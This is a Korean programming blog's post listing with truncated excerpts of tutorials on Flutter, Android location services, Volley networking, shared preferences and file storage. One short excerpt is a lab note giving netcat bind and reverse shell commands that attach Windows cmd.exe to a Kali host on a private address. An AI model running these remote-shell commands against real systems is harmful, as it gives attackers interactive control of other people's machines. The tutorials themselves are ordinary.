목록Programming (132)
외로운 Nova의 작업실
이번장에서는 처음 앱을 키면 로딩중인 화면을 만들어보겠습니다. 그전에 필요한 지식인 플러그인 추가 방법을 알아보겠습니다. - 플러그인 추가 방법 플러터 프로젝트를 생성하면 자동으로 생성되는 pubspec.yaml 파일에 원하는 플러그인을 추가하고 [pub get] 버튼을 눌러주면 등록하 플러그인을 바로 프로젝트에서 사용할 수 있습니다. - 소스 추가방법 프로젝트에 외부에있는 폴더(사진, 로고)등을 불러올떄는 pubspec.yaml파일에 폴더를 지정해줘야합니다. 로고로 사용할 사진을 asset에 넣고 pubspec.yaml파일에 asset을 사용하는 것을 지정해주겠습니다. 프로젝트에 asset 디렉토리를 만들어줍니다. asset 디렉토리에 logo를 넣어줍니다. 이제 yaml파일을 수정해보겠습니다. ass..
안녕하세요, 이번 장에서는 flutter에서 사용하는 기본 위젯들을 알아보겠습니다. - 텍스트 위젯 텍스트 위젯은 Text() 위젯을 사용합니다. main.dart 코드는 아래와 같습니다. import 'package:flutter/material.dart'; void main() { runApp(MyApp()); } class MyApp extends StatelessWidget { @override Widget build(BuildContext context){ return MaterialApp( home: Scaffold( body: Center( child: Text( 'Hello Nova', style: TextStyle( fontSize: 16.0, fontWeight: FontWeight.w..
오늘은 다트와 플루터를 다운로드하고 안드로이드 스튜디오에서 hello world를 빌드하고 안드로이드에서 실행시켜보겠습니다. - flutter SDK 다운 https://docs.flutter.dev/get-started/install/windows/desktop?tab=download Start building Flutter native desktop apps on Windows Configure your system to develop Flutter desktop apps on Windows. docs.flutter.dev zip파일을 풀어서 사용자 디렉토리 밑에 풀어줍니다. - android studio flutter 설치 플러터를 다운받아줍니다. - Flutter SDK를 이용한 프로젝트 생성 N..
- 윈도우 nc64 바인드 쉘코드 - kali nc 192.168.219.130 8989 - window nc64 -l -e cmd.exe -p 8989 - 윈도우 nc64 리버스 쉘코드 - window exec("nc64 192.168.219.120 -e cmd.exe 8989"); - kali nc -l -p 8989
- 구글맵 API 키 얻기 구글맵을 앱에서 사용하려면 구글맵 키가 필요합니다. 아래 링크로 들어가서 포스팅을 보고 따라하시면됩니다. https://furang-note.tistory.com/16 [Android/Kotlin] Google Maps API 사용하기 현재 진행 중인 프로젝트에 지도API가 필요해서 Fragment에 Google Maps를 보여주는 방법을 기록한다. 1. Google API 프로젝트 생성 및 사용 등록 Google API에 접속하여 프로젝트 만들기를 클릭한다. 새 프로 furang-note.tistory.com - 지도 사용 설정 먼저 그래들 파일에 의존성을 추가해줍니다. implementation 'com.google.android.gms:play-services:12.0.1..
- 구글 play 서비스의 위치 라이브러리 사용자의 위치를 얻으려면 gps, wifi, seluer 등을 이용해서 위치를 얻을 수 있습니다. 위치 제공자등을 선정할때는 아래와 같은 고려사항들이 있습니다. 전력을 적게 소비하는가 정확도는 높은가 API가 간단한가 부가기능을 제공하는가 일반적인 방법으로는 이런 것들을 하나하나 확인하고 검증해서 위치를 얻어야하기때문에 코드가 길어집니다. 따라서 대신 확인해주는 구글 play 서비스 라이브러리를 사용합니다. - 퍼미션 매니페스트 파일에 아래와같이 선언해줍니다. - 의존성 gradle 파일에 아래와 같이 선언해줍니다. implementation 'com.google.android.gms:play-services:12.0.1' - 위치제공자 초기화 GoogleApi..
- Volley 네트워크 프로그래밍을 돕는 라이브러리는 여러가지가 있지만 구글에서 제공하는 Volley를 사용하는 방법을 살펴보겠습니다. 먼저 인터넷을 사용하려면 사용자로부터 퍼미션을 얻고, https의 도메인 정보를 적어줘야합니다. 매니페스트파일에 아래와 같이 작성합니다. res/xml 폴더에 임의의 이름으로 XML을 만들고 아래와 같이 작성합니다. 저는 network.xml로 만들었습니다. https://cdn.pixabay.com/ 그리고 위 정보를 매니페스트파일에 등록해줍니다. 맨 아래에 보이시죠? 만약 모든 도메인과 통신하게하려면 아래와 같이 적어줍니다. 맨 아래 보이시죠? Volley를 사용하려면 먼저 의존성 등록을 해줘야합니다. implementation 'com.android.volley:..
- 스마트폰 정보 앱들은 대부분 http 통신을 통해 서버에 데이터를 저장하거나 불러오는 통신을 하면서 앱을 운영합니다. 따라서 핸드폰이 네트워크가 가능한지 어떤 네트워크를 쓰고 있는지 확인하기위해선 스마트폰 정보를 구해야합니다. - 네트워크 정보 구하기 스마트폰의 네트워크를 알아볼때에는 ConnectivityManager를 사용하고 어떤 네트워크에 있는지를 알아보기 위해서는 ConnectivityManager의 getActivityNetwork() 함수로 Network 객체를 얻어서 이용합니다. ConnectivityManager을 사용하려면 다음 퍼미션을 선언해야합니다. 그런다음 퍼미션을 요구하는 코드를 짜줍니다. //in oncreate code val status = ContextCompat.ch..
- 프리퍼런스 공유된 프리퍼런스는 플랫폼 API에서 제공하는 클래스로 데이터를 키-값 형태로 저장할때 사용합니다. 공유된 프리퍼런스는 앱의 간단한 데이터를 저장하는데 유용하며 내부적으로 내장 메모리의 앱 폴더에 XML 파일로 저장됩니다. 프리퍼런스는 액티비티단위로 만들거나 앱 전체의 프리퍼런스로 만들 수 있습니다. - 메인액티비티에서 프리퍼런스를 이용해 데이터 저장 및 가져오기 메인 액티비티에서 프리퍼런스 저장소를 얻는 방법은 아래와 같습니다. Activity.getPreference(int mode) Context.getSharedPreferences(String name, int mode) 첫번째는 액티비티단위로 데이터를 저장할때 호출하며 아래는 앱 전체의 프리퍼런스를 얻어올때 사용합니다. 이 장에서..
- 내장 메모리와 외장메모리 안드로이드에서 파이저장소는 내장 메모리와 외장메모리 공간으로 구분됩니다. 외장 메모리 공간은 다시 앱별 저장소와 공용저장소로 나뉩니다. 앱별 저장소에는 다른 앱이 접근할 수 없지만 공용 저장소에는 다른 앱이 접근할 수 있습니다. - 내장 메모리의 파일 이용하기 내장메모리는 앱이 설치되면 시스템에서 자동으로 할당해줍니다. 안드로이드 시스템에서는 앱에서 파일을 이용하지않더라도 앱의 패키지명으로 디렉터리를 만들어줍니다. 이 디렉터리가 앱의 내장 메모리공간입니다. 하지만 내장 메모리는 외장 메모리보다 용량이 작아서 크기가 큰 데이터는 외장 메모리를 이용해야합니다. test.txt파일을 만들고 helloworld를 입력한후 값을 가져와 액티비티에 뿌려주는 앱을 만들어보겠습니다. 아래는..